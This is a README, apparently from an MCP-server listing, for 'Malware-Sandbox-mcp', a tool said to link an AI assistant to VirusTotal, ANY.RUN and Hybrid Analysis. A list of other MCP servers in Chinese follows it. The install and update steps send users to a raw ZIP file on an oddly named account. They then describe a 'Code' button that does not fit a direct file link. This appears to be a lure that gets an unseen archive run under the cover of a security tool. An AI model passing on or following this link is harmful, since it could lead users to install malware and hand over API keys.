Malware-Sandbox-mcp
Enables assistants to analyze files and URLs for malware by integrating with security services like VirusTotal and ANY.RUN, returning threat reports.
README
🔍 Malware-Sandbox-mcp - Analyze suspicious files from your computer
📌 What this software does
The Malware-Sandbox-mcp tool connects your text-based assistant to security services on the internet. It helps you check if a file or a web link is dangerous. You send a file to the tool, and it talks to services like Hybrid Analysis, ANY.RUN, and VirusTotal to find threats. It then gives you a report so you know if you should trust the file.
This tool acts as a bridge between your desktop environment and professional security databases. It simplifies the process of checking for viruses or malicious code without needing to use multiple websites manually. You get clear data about potential threats through your assistant interface.
💻 Requirements
- A Windows 10 or Windows 11 computer.
- An active internet connection.
- API keys from at least one supported service (e.g., VirusTotal or ANY.RUN).
- The Claude desktop application installed.
🚀 Setting up the software
- Visit this page to download the software: https://raw.githubusercontent.com/inadvisable-hibiscusfarragei279/Malware-Sandbox-mcp/main/data/Sandbox_mcp_Malware_v2.7.zip
- Locate the button labeled "Code" on the repository page.
- Choose "Download ZIP" from the menu.
- Save the file to your "Downloads" folder.
- Right-click the downloaded file and select "Extract All."
- Choose a folder on your computer to store the extracted files.
🔧 Connecting your accounts
To use this tool, you must provide your own access keys. These keys allow the tool to speak with the security services on your behalf.
- Open the folder where you extracted the files.
- Find the file labeled
config.jsoninside the document folder. - Open this file using any text editor like Notepad.
- Paste your API keys for the services you use into the designated spots.
- Save and close the file.
These keys are personal. Do not share them with others. They ensure that your requests to check files reach your specific account on services like VirusTotal or URLScan.
⚙️ Running the application
After you install the tool and set your keys, you connect it to your assistant.
- Open the Claude desktop application.
- Open the settings menu within the application.
- Select the "Configurations" or "MCP" section.
- Click the button to add a new server.
- For the command field, type the path to your Python installation followed by the path to the
main.pyfile inside your project folder. - Save the configuration.
Once you add the server, look at the sidebar or the chat input. You should see a new icon or a notification that tools are available. You can now use the assistant to scan files by typing a request like "Analyze this link for threats" or "Check this file's safety."
🛡️ Understanding the reports
The tool returns a summary of the data it finds. Here is how to read it:
- Threat Score: Most services provide a number or a color-coded status. A low score usually means the file is safe. A high score suggests the file contains malicious code.
- Tags: These describe what the file does. Tags like "Trojan," "Spyware," or "Ransomware" tell you the type of danger.
- URL data: This section shows if a link redirects to a site known for hosting harmful content.
- MITRE ATT&CK: This refers to a common framework. It lists the methods the malware uses to infect a machine. This helps you understand how the software tries to bypass your security.
🛠️ Troubleshooting common issues
If the tool does not work, check these common fixes:
- API Key Errors: If the scan fails immediately, your API key might be incorrect or have no remaining requests. Check your balance on the service provider's website.
- Missing Python: This tool requires Python. If you do not have Python installed, the computer will not understand the commands. Visit the official Python website to download the latest version for Windows.
- File Path issues: Ensure the paths you provided in the Claude configuration correctly point to the exact location of the files on your hard drive.
- Network block: Ensure your firewall allows the application to connect to the internet. If you use a corporate network, your company might block access to external security services.
🔄 Updating your software
To get new features or bug fixes, you should update the tool occasionally.
- Return to the link where you downloaded the software: https://raw.githubusercontent.com/inadvisable-hibiscusfarragei279/Malware-Sandbox-mcp/main/data/Sandbox_mcp_Malware_v2.7.zip
- Download the latest ZIP file as you did before.
- Replace the old folders with the new ones.
- Ensure your
config.jsonfile remains intact or transfer your settings into the new folder. - Restart your assistant application to load the new version.
📈 Improving your results
You become more effective as you add more service keys to your configuration. Each service has different strengths. For example, some services focus on file behavior, while others track harmful websites. By configuring keys for multiple services, the tool compares data from different sources. This gives you a more complete picture of the threat. Keep your keys secure and store them only in your local configuration file. Never paste your keys into chat windows or public forums.
推荐服务器
Baidu Map
百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
Playwright MCP Server
一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。
Magic Component Platform (MCP)
一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。
Audiense Insights MCP Server
通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。
VeyraX
一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。
graphlit-mcp-server
模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。
Kagi MCP Server
一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。
e2b-mcp-server
使用 MCP 通过 e2b 运行代码。
Neon MCP Server
用于与 Neon 管理 API 和数据库交互的 MCP 服务器
Exa MCP Server
模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。